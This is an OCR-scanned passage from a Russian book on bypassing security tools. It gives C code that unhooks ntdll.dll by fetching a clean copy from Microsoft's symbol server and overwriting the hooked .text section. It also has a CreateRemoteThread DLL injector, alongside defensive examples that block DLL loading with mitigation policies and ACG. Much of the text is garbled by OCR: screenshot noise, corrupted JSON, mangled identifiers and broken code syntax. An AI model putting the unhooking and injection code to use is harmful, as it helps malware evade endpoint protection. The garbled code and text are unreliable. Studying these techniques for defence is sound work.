Часть 338 Способы обхода средств защиты информации 111. "ffleinfo": { "elcscription": "NT Liiycr DLL", "lllllChincType": "MS": ЗЗ2, "99489258сс74е25-4сЬ59сбdс7ссеьб33", "sh11l": "6c563c46edfd15lbЬd9158fdl5ef9280661Ь0771!", "sha2Sб" : "Sа5бЬ962ее64582~сdе52с8593е39сбебсd3с 73ее11Нсее 349351,с 117 3bi11J. 311", "si1n•t urcType": "Overlily", "sianiniOilte": [ ·2е2з-ео-еs1е2 :04 :&е" 1, "si1nin&St11tusu: "Sianed", "si1.c": 1748944, -н-st•"P"- ~ •yerston·: ·1е.е. . 22621.1348 (llfinBui ld .160101.esee) • , "virtuillSi н": 1765376 }, "wirн:lows...,crsions": { "КВ58272Зl": { "1'IOW64 _мi crosoft ••1 nйows • ntCI l l_ЗJ "bull(H)PC": "reltilSC". "l11n1u111e•: "ncutr11l", 8811 "put)licKcylokcn": "31ttf38 "version": "18.8.22621.11! ~versionScope": '" non5x5" ••ttribut~s": [ "destin•tionP11th": "! "i-iюгtP•th'": "S(ЬuiJ Сору 8111 Ооо о ... о, о, ..... ..... 1118 .... Qн,, ~"" о,_ "n•11e": '"ntOll,d11", 17.20. 1118 ' ii, , . . { Do"vnload 609349597 .... '"' .... ..., ....., '"' .... 18i8 "naR": "l'licrosoft-Winoo. "processorArchi tecturc": Рис. . • ,., "11·22ti2": { ... ... ... ,., ... ... о, - ; А " "" в 1111 1111 ... .., .. . с, с 7 8 9 D 4 s 6 Е 3 F to cl1ptJotJ1d Обнаружение смысла первой части Остается лишь додуматься, как получить эти данные. У ntdll. dll тоже обычный РЕ, поэтому стоит глядеть именно в эту сторону. Временную метку получится извлечь из структуры IМAGE _FILE _HEADER (рис. А размер (рис. получаем из 17.21 ). элемента SizeOfimage структуры IМAGE OPTIONAL HEADER 17.22). Есть еще SizeOfCode, но это размер непосредственно кодовой части. Я подозреваю, что секции . text, поэтому она нам не подходит. Нужен размер всего образа файла ntdll.dll. Поэтому остается лишь запрашивать эту информацию из системы, а затем генери­ ровать URL определенного вида. https://msdl.microsoft.com/download/symЬols/ntdll.dll/'strconcat(hex(IМAGE FILE HEADER TimeStamp), hex (IMAGE _OPТIONAL _HEADER SizeOfimage 1) '/ntdll. dll После чего, используя WinHTTP, качаем нужную библиотеку и внедряем в свое адресное пространство ее секцию . text взамен хукнутой. Алгоритм получения биб­ лиотеки с сервера тоже укладывается в одну маленькую функцию. #include <algorithm> #include <string> #define FIXED URL L"https://msdl.microsoft.com/download/symЬols/ntdll.dll/"
Глава 17. Познаем анхукинг ntdll.d/1 339 а. Е ro iп Q) Е .:; ...... ro "'ro а. ~ о ... ,-: ... N c.i :s; а..
340 Часть 1/1. Способы обхода средств защиты информации а. Q) :; (') ns а. .а lii а. "'ns g о C'i N .......:,.; :s: D..
Глава В001 17. Познаем анхукинг 341 ntd/1.dll ReadNtdllFromServer(OUT PVOID* ppNtdllBuf) РВУТЕ PVOID SIZE Т WCНAR pNtdllModule pNtdllBuffer sNtdllSize szFullUrl [МАХ_РАТН] = (PBYTE)FetchLocalNtdllBaseAddress(); = NULL; = NULL; =( О 1; ntdll.dll pimgDosHdr = (PIМAGE_OOS_НEADER)pNtdllModule; if (pimgDcsHdr->e_magic != IМAGE_OOS_SIGNATUREI return NULL; // Получаем параметры хукнутой PIМAGE_OOS_НEADER PIМAGE_NT_НEADERS pimgNtHdrs = (PIМAGE_NT_НEADERS) (pNtdllModule + pimgDosHdr->e_lfanew); if (pimgNtHdrs->Signature != IМAGE_NT_SIGNATURE) return NULL; // Качаем нехукнутую ntdll.dll wsprintfW(szFullUrl, L"%s%0.8X%0.4X/ntdll.dli", FIXED_URL, plmgNtHdrs->FileHeader.TimeDateStamp, pimgNtHdrs->OptionalHeader.SizeOfimage); if (!GetPayloadFromUrl(szFullUrl, &pNtdllBuffer, &sNtdllSize)) return FALSE; *ppNtdllBuf = pNtdllBuffer; return TRUE; Отдельно я вынес функцию GetPayloadFromUrl (), которая принимает URL для скачи­ вания ntdll.dll, а возвращает указатель на адрес в памяти, где будет лежать либа размером В001 sNtdllSize. GetPayloadFromUrl(IN LPCWSTR szUrl, OUT PVOID* pNtdllBuffer, OUT PSIZE bSTATE hlnternet НINTERNET hinternetFile DWORD dwBytesRead SIZE Т sSize pBytes РВУТЕ = TRUE; В001 pТmpBytes = NULL, = NULL; = NULL; = NULL; = NULL, = NULL; hinternet = InternetOpenW(L"info", NULL, NULL, NULL, NULL); if (hinternet == NULL) { printf (" [ 1 ] InternetOpenW Failed With Error : %d \n", GetLastError ()); bSTATE = FALSE; goto _EndOfFunction; Т sNtdllSize) {
Часть 342 111. Способы обхода средств защиты информации hinternetFile InternetOpenUrlW(hinternet, szUrl, NULL, NULL, INTERNET FLAG_HYPERLINK 1 INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, NULL); if (hinternetFile == NULL) { printf("[ 1 ] InternetOpenUrlW Failed With Error : %d \n", GetLastError()); bSTATE = FALSE; goto _EndOfFunction; = (PBYTE)LocalAlloc(LPTR, 1024); == NULL) { bSTATE = FALSE; goto _EndOfFunction; pТmpBytes if (pТmpBytes while (TRUE) ( if ( 1 InternetReadFile (hinternetFile, pТmpBytes, 1024, &dwBytesRead)) { printf("[ !] InternetReadFile Failed With Error : %d \n", GetLastError()); bSTATE = FALSE; goto _EпdOfFunction; sSize "= dwBytesRead; if (pBytes == NULL) pBytes (PBYTE)LocalAlloc(LPTR, dwBytesRead); else (PBYTE)LocalReAlloc(pBytes, sSize, LMEM pBytes if (pBytes == NULL) { bSTATE = FALSE; goto MOVEAВLE LMEM ZEROINIT); EndOfFunction; memcpy ( (PVOID) (pBytes + (sSize - dwBytesRead)), pТmpBytes, dwBytesRead); memset(pTmpBytes, '\О', dwBytesRead); if (dwBytesRead < 1024) break; *pNtdllBuffer *sNtdllSize = pBytes; = sSize; EndOfFunction: if (hinternet) In•ernetCloseHandle(hinternet); if (hinternetFile) lnternetCloseHandle(hinternetFile); if (hinternet) InternetSetOptionW(NULL, INTERNET OPTION SETTINGS_CНANGED, NULL, 0);
Глава if 17. Познаем анхукинг 343 ntd/1.dll (pТmpBytes) LocalFree(pТmpBytes); return bSTATE; Функция открывает интернет-сессию, после чего читает куски размером до тех пор, пока не будет считано меньше 1024 1024 1024 байта байт. Если считано меньше байт, значит, весь файл был успешно передан и можно закрывать сессию. Несмотря на то что нехукнутая ntdll.dll будет считываться с веб-сервера, оффсет секции . text невозможно знать заранее. Он то 1024, то 4096. Поэтому используем код из раздела с чтением библиотеки из диска- будем опять проверять начальные байты по оффсету добавляем 1024, если совпадут, то копируем по этому адресу, если нет, то 3072. BOOL ReplaceNtdllTxtSection(IN PVOID pUnhookedNtdll) PVOID pLocalNtdll = (PVOID)FetchLocalNtdllBaseAddress(); pLocalDosHdr = (PIМAGE_DOS_HEADER)pLocalNtdll; РШАGЕ DOS HEADER 1f (pLocalDosHdr && pLocalDosHdr->e_magic != IМAGE_DOS_SIGNATURE) return FALSE; pLocalNtHdrs = (PIМAGE_NT_HEADERS) ( (PBYTE)pLocalNtdll + PIМAGE NT HEADERS pLocalDosHdr->e_lfanew); if (pLocalNtHdrs->Signature 1= IМAGE_NT_SIGNATURE) return FALSE; PVOID pLocalNtdllTxt = NULL, pRemoteNtdllTxt = NULL; SIZE Т sNtdllTxtSize = NULL; PIМAGE_SECTION_HEADER pSectionНeader for (int i = О; i < = IМAGE_FIRST_SECTION(pLocalNtHdrs); pLocalNtHdrs->FileHeader.NumЬerOfSections; i++) ( // if( strcmp(pSectionНeader[i] .Name, ".text") == О ) if ( (*(ULONG*)pSectionНeader[i] .Name I Ох20202020) == 'xet. ') { pLocalNtdllTxt = (PVOID) ((ULONG_PTR)pLocalNtdll + pSectionHeader[i) .VirtualAddress); pRemoteNtdllTxt = (PVOID) ((ULONG_PTR)pUnhookedNtdll + 1024); sNtdllTxtSize = pSectionHeader[i] .Misc.VirtualSize; break; if 1 1 pLocalNtdllTxt return FALSE; 11 !pRemoteNtdllTxt 11 !sNtdllTxtSize)
344 Часть 111. Способы обхода средств защиты информации "'"" ф f0 "' "' \D "':,: ro о:; \D ф 111 "' :т ~ u ф о :,: 3 ф ,:: u >, С'? N ... ....: u s о.
Глава 17. Познаем анхукинг ntd/1.dll 345 if (*(ULONG*)pLocalNtdllTxt 1= *(ULONG*)pRemoteNtdllTxt) pRemoteNtdllTxt = (PVOID) ((char*)pRemoteNtdllTxt + 3072); if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt) return FALSE; DWORD dwOldProtection = NULL; if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, PAGE_EXECUTE_WRITECOPY, &dwOldProtection)) printf("[ 1 ) VirtualProtect [1) Failed With Error : %d \n", GetLastError()); return FALSE; memcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize); if ( 1VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, dwOldProtection, &dwOldProtection)) printf("[ 1 ) VirtualProtect [2] Failed With Error : %d \n", GetLastError()); return FALSE; return TRUE; Обратите внимание, что на функции ReadNtdllFromServer () программа может как бы зависнуть. Не переживайте, она работает, качает нужную библиотеку (рис. 17.23). Этот способ, думаю, самый удобный. Его главный недостаток в том, что требуется доступ в Интернет со скомпрометированного хоста. Полный код реализации для ваших собственных экспериментов я также прикладываю: □ Ntdl l FromWEbsi te. срр (https://github.com/МzHm O/articles/Ыo Ыmain/unhooking/ NtdllFromWEbSite.cpp)- подгрузка с winЬindex.m4 l 7z.com; □ NTDLLReflection (https://github.com/ТheDlrkМtr/NTDLLReflection)- подгрузка с иного ресурса, вы должны будете сами поднять веб-сервер. Заключение Помните, что анхукинг - это не более чем один из множества способов обхода хуков. Причем умные антивирусы умеют восстанавливать хуки, если обнаружива­ ют, что кто-то их снял. На любое действие найдется противодействие, но в данном случае это приглашение к новому действию!
ГЛАВА 18 Изучаем методы предотвращения подгрузки DLL Злые вирусы так и норовят подгрузить в нашу легитимную программу свои биб­ лиотеки! Можно ли избавиться от чужих модулей? Как предотвратить загрузку библиотек или хотя бы своевременно о ней узнать? Давайте разбираться. В основном Windows использует два формата исполняемых файлов Первые представляют собой привычные для нас программы, а DLL - .ехе и DLL. это библио­ теки с дополнительными функциями, подгружаемые исполняемым файлом. Файлы DLL могут быть загружены в процесс и сразу при запуске (так называемая статиче­ ская линковка), и при выполнении (динамическая линковка), т. е. когда процесс уже вовсю работает и вдруг что-то его подталкивает к решению загрузить библио­ теку. Ни для кого не секрет, что процессы в Windows имеют виртуальное адресное про­ странство. Пространство представляет собой кусок памяти, который принадлежит только текущему процессу. В этой части памяти будут данные только текущего процесса. При подгрузке DLL оказывается в том же самом адресном пространстве и, как следствие, получает доступ ко всем данным процесса. Такое поведение при­ водит к тому, что злостные хакеры так и желают, так и ждут подгрузки своей вре­ доносной библиотеки в наш процесс, чтобы установить хуки, сдампить память и всячески изменить поведение программы. С этим можно бороться! U pdateProc ThreadAttribute Предлагаю начать с наиболее распространенных способов предотвращения под­ грузки DLL-библиотек в процесс. Первый вариант основан на функции (Ь ttps:/Лearn.microsoft.com/en-us/windows/win32/api/ Upda teProcTh readAt tr ibute 1) processthreadsapi/nf-processthreadsapi-updateprocthreadattribute). Для его реали­ зации устанавливается специальное значение: PROC - THREAD ATTRIBUTE - MITIGAT:ON - POLICY - Единственная проблема - в нашу программу все-таки смогут внедряться чужие либы, но только если они подписаны в Microsoft. Также стоит отметить, что пре-
Глава 18. Изучаем методы предотвращения подгрузки дотвращение подгрузки DLL DLL 347 будет применяться к процессу, который мы запустим через createProcess (), к текущему процессу применить эту функцию не получится. Тем не менее есть возможность обойти это ограничение. Наш текущий процесс может проверять, был ли он запущен с параметром, ограничивающим подгрузку DLL. Если нет, то он запускает копию самого себя, но уже с помощью атрибутов, которые устанавливаются в функции UpdateProcThreadAttribute (). Итак, сначала напишем функцию CreateProcessWithВlockDllPolicy(). Для этого нам по­ требуется лишь путь до исполняемого файла, который нужно запустить. Функция будет возвращать PID запущенного процесса, его хендл, а также хендл потока про­ цесса. BOOL CreateProcessWithBlockDllPolicy(IN LPSTR lpProcessPath, OUT DWORD* dwProcessid, OUT НANDLE* hProcess, OUT НANDLE* hThread) { STARTUPINFOEXA SiEx = { О ); PROCESS INFORМATION Pi = { О ); SIZE Т sAttrSize = NULL; if (lpProcessPath == NULL) return FALSE; RtlSecureZeroMemory(&SiEx, sizeof(STARTUPINFOEXA)); RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORМATION)); SiEx.Startupinfo.cb = s1zeof(STARTUPINFOEXA); SiEx.Startupinfo.dwFlags = EXTENDED_STARTUPINFO PRESENT; InitializeProcThreadAttributeList(NULL, 1, NULL, &sAttrSize); LPPROC_THREAD_ATTRIBUTE_LIST pAttrBuf = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sAttrSize); if (!InitializeProcThreadAttributeList(pAttrBuf, 1, NULL, &sAttrS1ze)) printf("[!] InitializeProcThreadAttributeList Failed With Error : %d \n", GetLastError()); return FALSE; DWORD64 dwPolicy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON; if ( 1 UpdateProcThreadAttribute(pAttrBuf, NULL, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &dwPolicy, sizeof(DWORD64), NULL, NULL)) printf(" [ 1 ] UpdateProcThreadAttribute Failed With Error : %d \n", GetLastError()); return FALSE; SiEx.lpAttributeList if ( 1 CreateProcessA( NULL, (LPPROC THREAD_ATTRIBUTE_LIST)pAttrBuf;
Часть 348 111. Способы обхода средств защиты информации lpProcessPath, NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENТ, NULL, NULL, &SiEx.Startupinfo, &Pi)) { printf("[!] CreateProcessA Failed With Error return FALSE; %d \n", GetLastError()); *dwProcessid = Pi.dwProcessid; *hProcess = Pi.hProcess; *hThread = Pi.hThread; DeleteProcThreadAttributeList(pAttrBuf); HeapFree(GetProcessHeap(), О, pAttrBuf); if (*dwProcessid != NULL && *hProcess != NULL && *hThread != NULL) return TRUE; else return FALSE; Сначала мы очищаем структуры, а затем инициализируем структуры, необходимые для запуска процесса. Дополнительно устанавливаем флаг: EXTENDED- STARTUPINFO- PRESENТ Это даст возможность запускать процессы с нужной митигацией. Далее с помощью функции InitializeProcThreadAttributeList () (https://learn.microsoft. com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-initializeproc threadattributelist) готовим структуру LPPROC- TНREAD- AТTRIBUTE- LIST. Ее будем указы­ вать в функции UpdateProcAttributeList () (https://learn.microsoft.com/en-us/windows/ win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute ). Двойной вызов функции стандартен для Windows - первый вызов служит для по­ лучения нужного размера, а второй-для инициализации элементов структуры. Затем с помощью функции UpdateProcAttributeList 1) заносим необходимые атрибуты в нашу структуру со списком атрибутов, после чего применяем ее функции Crea teProcessA (), что позволяет запустить процесс с защитой от подгрузки левых библиотек. Как же запустить текущий процесс, применив эту функцию? Здесь будем использо­ вать аргументы командной строки. Наш процесс может породить дочерний такой же процесс с митигацией, а самого себя уничтожить. Для этого нам нужно создать специальный sтоР_ARG. Если вдруг в аргументах командной строки текущего процес­ са нет sтoP_ARG, то он должен перезапуститься с защитой от подгрузки DLL.
Глава 18. Изучаем методы предотвращения подгрузки DLL 349 Наша функция main () должна выглядеть вот так: #define LOCAL BLOCKDLLPOLICY #ifdef LOCAL BLOCKDLLPOLICY #define STOP ARG "xakep" #endif int main(int argc, char* argv[]) dwProcessid = NULL; hProcess = NULL, hThread = NULL; DWORD НANDLE #ifdef LOCAL BLOCKDLLPOLICY if (argc == 2 && (strcmp(argv[l], STOP_ARG) == 0)) { printf (" [ +] Process Is Now Protected Wi th The Вlock 011 Policy \n"); WaitForSingleObject({НANDLE)-1, INFINITE); else { printf (" [ ! ] Local Process Is Not Protected Wi th The Вlock D11 Policy \n") ; * 2]; if ( 1GetModuleFileNameA(NULL, (LPSTR)&pcFilename, МАХ РАТН * 2)) { printf("[ 1 ] GetModuleFileNameA Failed With Error : %d \n", GetLastError()); return -1; СНАR pcFilename[МAX_PATH DWORD dwBufferSize = (DWORD) (lstrlenA(pcFilename) + lstrlenA(STOP ARG) + OxFF); pcBuffer = (CНAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwBufferSize); if ( 1pcBuffer) return FALSE; СНАR* sprintf_s(pcBuffer, dwBufferSize, "%s %s", pcFilename, STOP_ARG); if ( 1CreateProcessWithBlockDllPolicy(pcBuffer, &dwProcessld, &hProcess, &hThread)) { return -1; HeapFree(GetProcessHeap(), О, pcBuffer); printf("[i] Process Created With Pid %d \n", dwProcessld); #endif #ifndef LOCAL BLOCKDLLPOLICY if ( 1CreateProcessWithBlockDllPolicy ( (LPSTR) "С:\ \Windows\ \System32\ \RuntimeBroker. ехе", &dwProcessid, &hProcess, &hThread))
Часть 350 111. Способы обхода средств защиты информации return -1; printf("(i] Process Created With Pid %d \n", dwProcessld); #endif return О; Сначала объявляются некоторые директивы, позволяющие управлять тем, что мы хотим получить от кода. Если хотим защитить собственную программу, то оставля­ ем define LOCAL _BLOCKDLLPOLICY. Если хотим запустить иной процесс с защитой от под­ грузки DLL, то убираем это поле. Затем указываем необходимый sтor _ARG, а в самой функции main 11 проверяем, при­ сутствует ли sтor _ARG в аргументах командной строки. Если он есть, то процесс может спокойно продолжать свое выполнение. if (argc == 2 && (strcmp(argv[l], STOP_ARG) ==О)) { printf(" [+] Process Is Now Protected With The Block Dll Pol1cy \n"); // Продолжаем выполнение // Наш КОД тут WaitForSingleObject( (НANDLE)-1, INFINITE); Если же этого аргумента нет, то процесс порождает сам себя с защитой. printf("[!] Local Process Is Not Protected With The СНАR pcFilename[МAX_PATH Dll Policy \n"); * 2]; * 2) ) { GetLastError ()); \n", %d : Failed Wi th Error if ( ! GetModuleFileNameA (NULL, (LPSTR) &pcFilename, printf (" ( ! ] return -1; Вlock GetМoduleFileNameA МАХ РАТН DWORD dwBufferSize = (DWORD) (lstrlenA(pcFilename) + lstrlenA(STOP_ARG) + 0xFF); pcBuffer = (CНAR*)HeapAlloc(GetProcessHeap(), НEAP_ZERO_MEMORY, dwBufferSize); if ( 1 pcBuffer) return FALSE; СНАR* sprintf_s(pcBuffer, dwBufferSize, "%s %s", pcFilename, STOP_ARG); if ( 1 CreateProcessWi thBlockDllPolicy (pcBuffer, &dwProcessid, &hProcess, &hThread) ) ( return -1; HeapFree(GetProcessHeap(I, О, pcBuffer); printf("(i] Process Created With Pid %d \n", dwProcessld);
Глава 18. Изучаем методы предотвращения подгрузки 351 DLL Пора приступать к проверке . Сначала з ап у скаем наш процесс с защитой (рис. 18. 1). Скомпилированный файл я наз вал ProtectedProcess . exe. Вид им , что наш файл имеет особый бит, который показ ывает даже (рис . Х Адuинистратор: Windows Ро-.. 1/J Process Hacker 18.2). 11! + Х ААммнмо,ра1ор: Windows Ро х о PS A:\ssd\ProjectsVS\DttCpp\xбll\Debug> .\ProtectedProcess.exe [!] Locat Process Is Not Protected With The Btock Dtt Poticy [i] Process Created With Pid lЦЦЗ [+] Process ls Now Protected With The Block Dll Policy PS A : \ssd\ProjectsVS\DllCpp\xбll\Debug> Рис . Hкltef tмrs V1ew Tools ~ Rl!lтesh .... Proc81ИI Neм,k Syst•m lnfo,motюn PID ■ conhos t. ext 1Ъ Goo1\eCr1shHand\tr. ••• 1Ъ Goo1teCrashHand\tг~. ••• conhost.t•• ■ cl!ld.••• f1refox.tl(t Q )С Se1rch Processes (Ctn [мk v ■ NVIDIA Wtb He\ptr ,fJllt ■ Запуск файла Н~р O Options j II Find hllndle, о, Dll.s Stмt8t 18.1 . 1/0 tot1\ r1tt Priv•t• CPU c.n.re1 stlClltkl ~ Thrмdt тoun ~ м.то,у &мnмvnent Н8ndlel GfllJ ... 1 N/A Jrneg4flltname; 1A:\SSO\PrOjIOl'VS\DIICpp\J,164\Dfщi\Pr«ЮfdProct•Pf • fi refo•. ехе - Commendln,c ..,.,., 1D16S4Ь.2t000 j ....,1ype,o<-1>• Нon-ulstentprocea (1 0312) ОЕР firefox.exe firtfox.exe ! Ao\llN,e)'<tSVS\OIICl>p\)064\l)OOug _ _ _ 120 мc:ondl 9(12 :04:08 2:5.12.2023) firefo,111.exe firefox.exe - _.../ ""'"' ...,,.,.,, i"'""""''JIOМ\DIQ,p\)064'°"""' f ; refox.exe • * х 8nlt Nltwort c:omm.nt (UНVURD) f1rtfox.exe firefox.exe Description Vtrllon: N/A fi refol( .ехе firefox.exe n1м □ • fi refox .ехе User Ceo~e11r. ProtectedProcen.ne (1448) • f;refox.exe Ь ... (ptrrnenent); ASLR ~ lntr ; spu,rn rutna.d (Мk:roloft only) Protкtxм'I: Ном fi refox. ехе firefox . @xe fi refox · ••• CPUU..oo:2.831' Physic,,lm,mo,y.11.19G8 (3Sl2%) Proc..,..: 180 Рис. 18.2. Защищенный процесс
Часть 352 111. Способы обхода средств защиты информации Теперь попробуем внедриться. Для этого я написал простейший инжектор на CreateRemoteThread(). #include <Windows.h> #include <iostream> int rnain(int argc, char* argv[]) { НANDLE processHandle; PVOID remoteBuffer; wchar_t dllPath[] = ТЕХТ ("А:\ \SSD\ \ProjectsVS\ \DllCpp\ \х64\ \Debug\ \Dllinj .dll"); DWORD pid; std::cin >> pid; processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); std: :cout « "OpenProcess: " « GetLastError() « std: :endl; remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof(dllPath), МEM_RESERVEIMEM_COММIT, PAGE_EXECUTE_READWRITE); std: :cout « "VirtualAllocEx: " « GetLastError() « std: :endl; WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof(dllPath), NULL); std: :cout « "WriteProcessMemory: " « GetLastError() « std: :endl; РТНRЕАD START ROUТINE threatStartRoutineAddress = (PТНREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); CreateRemoteThread(processHandle, NULL, О, threatStartRoutineAddress, remoteBuffer, О, NULL); std: :cout « "CreateRemoteThread: " « GetLastError() « std: :endl; CloseHandle(processHandle); return О; Инжектор загружает библиотеку со следующим кодом: #include "pch.h" #include <iostream> #include <string> WINAPI DllMain(HINSTANCE hinstDll, DWORD fdwReason, PVOID fimpLoad) ( switch (fdwReason) { case DLL- PROCESS- АТТАСН: DWORD dwProcessid = GetCurrentProcessid(); НANDLE hFile = CreateFileA("A:\\ssd\\ProjectsVS\\D11Cpp\\x64\\Debug\\hi.txt" , GENERIC_WRITE, О, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NOm.'.AL, NULL); if (hFile != INVALID_НANDLE_VALUE) В001 { std::string content = "Process ID: "+ std: :to_string(dwProcessid) + "\r\n"; DWORD bytesWritten; WriteFile(hFile, content.c_str(), content.size(), &bytesWritten, NULL); CloseHandle(hFile);
Глава 18. Изучаем методы предотвращения подгрузки DLL 353 r eturn (TRUE) ; Здесь нет ничего сложного создание файла и запись в него - PID текущего процес­ са. Сначала проверим работу на безобидном процессе, например GoogleCrashHandler . ехе с PID 8968 (рис . 18.3). Теперь попробуем внедриться в защищенный процесс (рис. 18.4). Неудача! Инжект не сработал. PS A:\ssd\ProjectsVS\DltCpp\xбЦ\Debug> .\DttCpp.exe 8968 OpenProcess: 0 VirtuatAtlocEx: 0 WriteProcessMemory: 0 CreateRemoteThread: 0 PS A:\ssd\ProjectsVS\DltCpp\xбЦ\Debug> type .\hi.txt Process ID: 8968 PS A:\ssd\ProjectsVS\DltCpp\xбЦ\Debug> Рис . 18.3. Внедрение в процесс работает PS А: \ssd\ProjectsVS\DttCpp\xбll\Debug> . \Dt\Cpp. ехе 8968 OpenProcess: е VirtuatAttocEx : fJ WriteProcessfl\e11ory : е CreateR&ioteThread : е PS A : \ssd\ProjectsVS\DttCpp\xбll\Debug> type . \hi . txt Process ID : 8968 PS А: \ssd\ProjectsVS\DttCpp \ xб!I\Oebug> det . \hi. txt PS А: \ssd\ProjectsVS\DttCpp\xб!I\ Debug> . \DttCpp. ехе lЦЦ8 OpenProcess: Е) VirtuatAttocEx : f) WriteProcessf1e11ory: Е> CreateRe11oteThrea.d: Е) PS А: \ssd\ProjectsVS\DHCpp\xб!I\Oebug> type . \hi . txt type № yA,J.eTCR НАЙТИ путь •д:\ssd\Projec:tsVS\D\\Cpp\x6Ц\Debu9\hi txt•, строка: l :!НАК; т•к к.11< он не су111еств:,,<.'Т 1 + type . \hi. tкt +----+ C&tegoryinfo ception + Fut\yQuA\ifie<!Errorld ObjectNotFound: (А: \5sd\Projcct5 P.athNotFound ,t1icrosoft PowerShell . 611\Debug\hi. t i::t Strin9) [Get-Content], ! tc•,Not F()l ,1 COП\&nds. GetContentCOUi.lnd PS А: \ssd\Proj ectsVS\DHCpp\xб!I\Debug> Рис. 18.4. Если попробуем внедриться через Инжект не сработал Process Hacker, тоже столкнемся с невозможно­ стью выполнения нашей библиотеки. SetProcessMitigationPolicy Эту функцию (https://learn.microsoft.com/en-us/windows/win32/api/processthread sapi/nf-processthreadsapi-setprocessmitigationpolicy) также можно использовать для предотвращения подгрузки в наш процесс левых DLL. Заметьте, что подобное предотвращение подгрузки либ применяется к текущему процессу и только после вызова этой функции . Если же хакер внедряет свою библиотеку до вызова этой
Часть 354 111. Способы обхода средств защиты информации функции, то у него все получится. Если после, то ничего не выйдет. И опять же - DLL, подписанные в Microsoft. Они все равно без единственное исключение проблем смогут внедряться в наш процесс. Здесь код будет попроще, чем в прошлый раз. #include <Windows.h> #include <iostream> int main() { PROCESS MITIGATION BINARY SIGNATURE POLICY Struct Struct.MicrosoftSignedOnly = ( о ); 1; if (!SetProcessMitigationPolicy(ProcessSignaturePolicy, &Struct, sizeof(Struct) )) { printf (" [ ! ] SetProcessMi tigationPolicy Failed Wi th Error : %d \n", GetLastError () ) ; getchar () ; return О; O.•cription W1ndows. Po.tf"She\l Proctts ~ ... 5'1111111Ь ~ ~ Т"Olaln ....... ~ ~ ...... Q'U нкit.r ,., Dillk end,...,,_ Oomмnt ,., .,. (-FED) V"'11on: 14/А "'98-I\IIIW: • firefo111. firwfo.-. f-irefoJ11. • fiг•fox. • • (1refoк . firefoк . • f1 refoк. • firefo11. • firtfox . • f1refoк . • firtfoic . W; fir•fo11 . QrrllW dndory: satm:d: - !A:\ - , ro.)8mYS\Dlqlp\)64~ !6 R<Jlndt 19О {U:16:51 25.12.2aD} " ="='...======================с::: ="' ;:"____ __J....ьс ""l'nfl9ttvflol: (,,..) : -_ _ •..c LD< "') ;;;t- - - - - --;::==:;-;;J - _;;;.;;;;;;;;;";;;;;; ;;;;;;;;;;;; -'-4--"t';;;-;;;;;;;;;;;;' (i'gh -'_IA ___cc..·AS ~:ftON Рис. 18.5. Процесс с ограничением -
Глава 18. Изучаем методы предотвращения подгрузки Рис . Запускае~1 (рис. 18.6. Внедриться невозможно 18 .5). Вновь попытка внедриться окажется безуспешной (рис. Включение ACG (он же 355 DLL 18.6). ACG P1·ocessDy11a111icCodePolicy) - специальный механизм в Windows, ко­ торый предотвращает выделение или изменение страниц в памяти, имеющих бит Execllte. Это несколько у сложняет внедрение библиотек. После вкл ючения ACG я д ро Windows предотвращает создание и изменение испол­ няемых страниц в 11амяти . При этом работают следующие правила: 1. Страницы с кодом считаются неизменными. Существующие кодовые страницы нель з я с д е л ать доступными для записи, они всегда имеют предназначенное для них содержимое. Дл я этого создаются дополнительные проверки в диспетчере памяти . Например , больше нельзя использовать VirtualProtect (1 для преобразова­ ния страни11ы В памяти В 2. PAG E_ EXECUTE _ REA DW RIТE . Новые непо;н1исанные страницы с кодом создавать нельзя. Например , не выйдет исполь з овать REAliWRIТE . 'J irtualAlloc ( I для создания страницы с разрешениями PAGE_EXECUTE
356 Часть Вот пример кода, который включает 111. Способы обхода средств защиты информации ACG: #include <iostream> #include <Windows.h> #include <processthreadsapi.h> int main() STARTUPINFOEX si; DWORD oldProtection; PROCESS_MITIGATION_DYNAМIC_CODE_POLICY policy; ZeroMemory(&policy, sizeof(policy)); policy.ProhibitDynamicCode = 1; void* mem = VirtualAlloc(0, 1024, МEM_RESERVE I if (mem = NULL) ( printf (" [ ! ] Error allocating RWX memory\n") ; МЕМ_СОММIТ, PAGE_EXECUTE_READWRITE); else ( printf (" [ *] RWX memory allocated: %p\n", mem); printf("[*] Now running SetProcessMitigationPolicy to apply PROCESS_МITIGATION_DYNAМIC_CODE_POLICY\n"); if (SetProcessMitigationPolicy(ProcessDynamicCodePolicy, &policy, sizeof(policy)) printf("[!] SetProcessMitigationPolicy failed\n"); return О; false) { mem = VirtualAlloc(0, 1024, МEM_RESERVE I МЕМ_СОММIТ, PAGE_EXECUTE_READWRITE); if (mem = NULL) { printf("[!] Error allocating RWX memory\n"); else { printf("[*] RWX memory allocated: %p\n", mem); void* ntAllocateVirtualMemory = GetProcAddress(LoadLibraryA("ntdll.dll"), "NtAllocateVirtualMemory"); if (!VirtualProtect(ntAllocateVirtualMemory, 4096, PAGE_EXECUТE_READWRITE, &oldProtection)) ( printf (" [ ! ] Error updating NtAllocateVirtualMemory [%р] memory to RWX\n", ntAllocateVirtualMemory); else printf("[*] NtAllocateVirtualMemory [%р] memory updated to RWX\n", ntAllocateVirtualMemory);
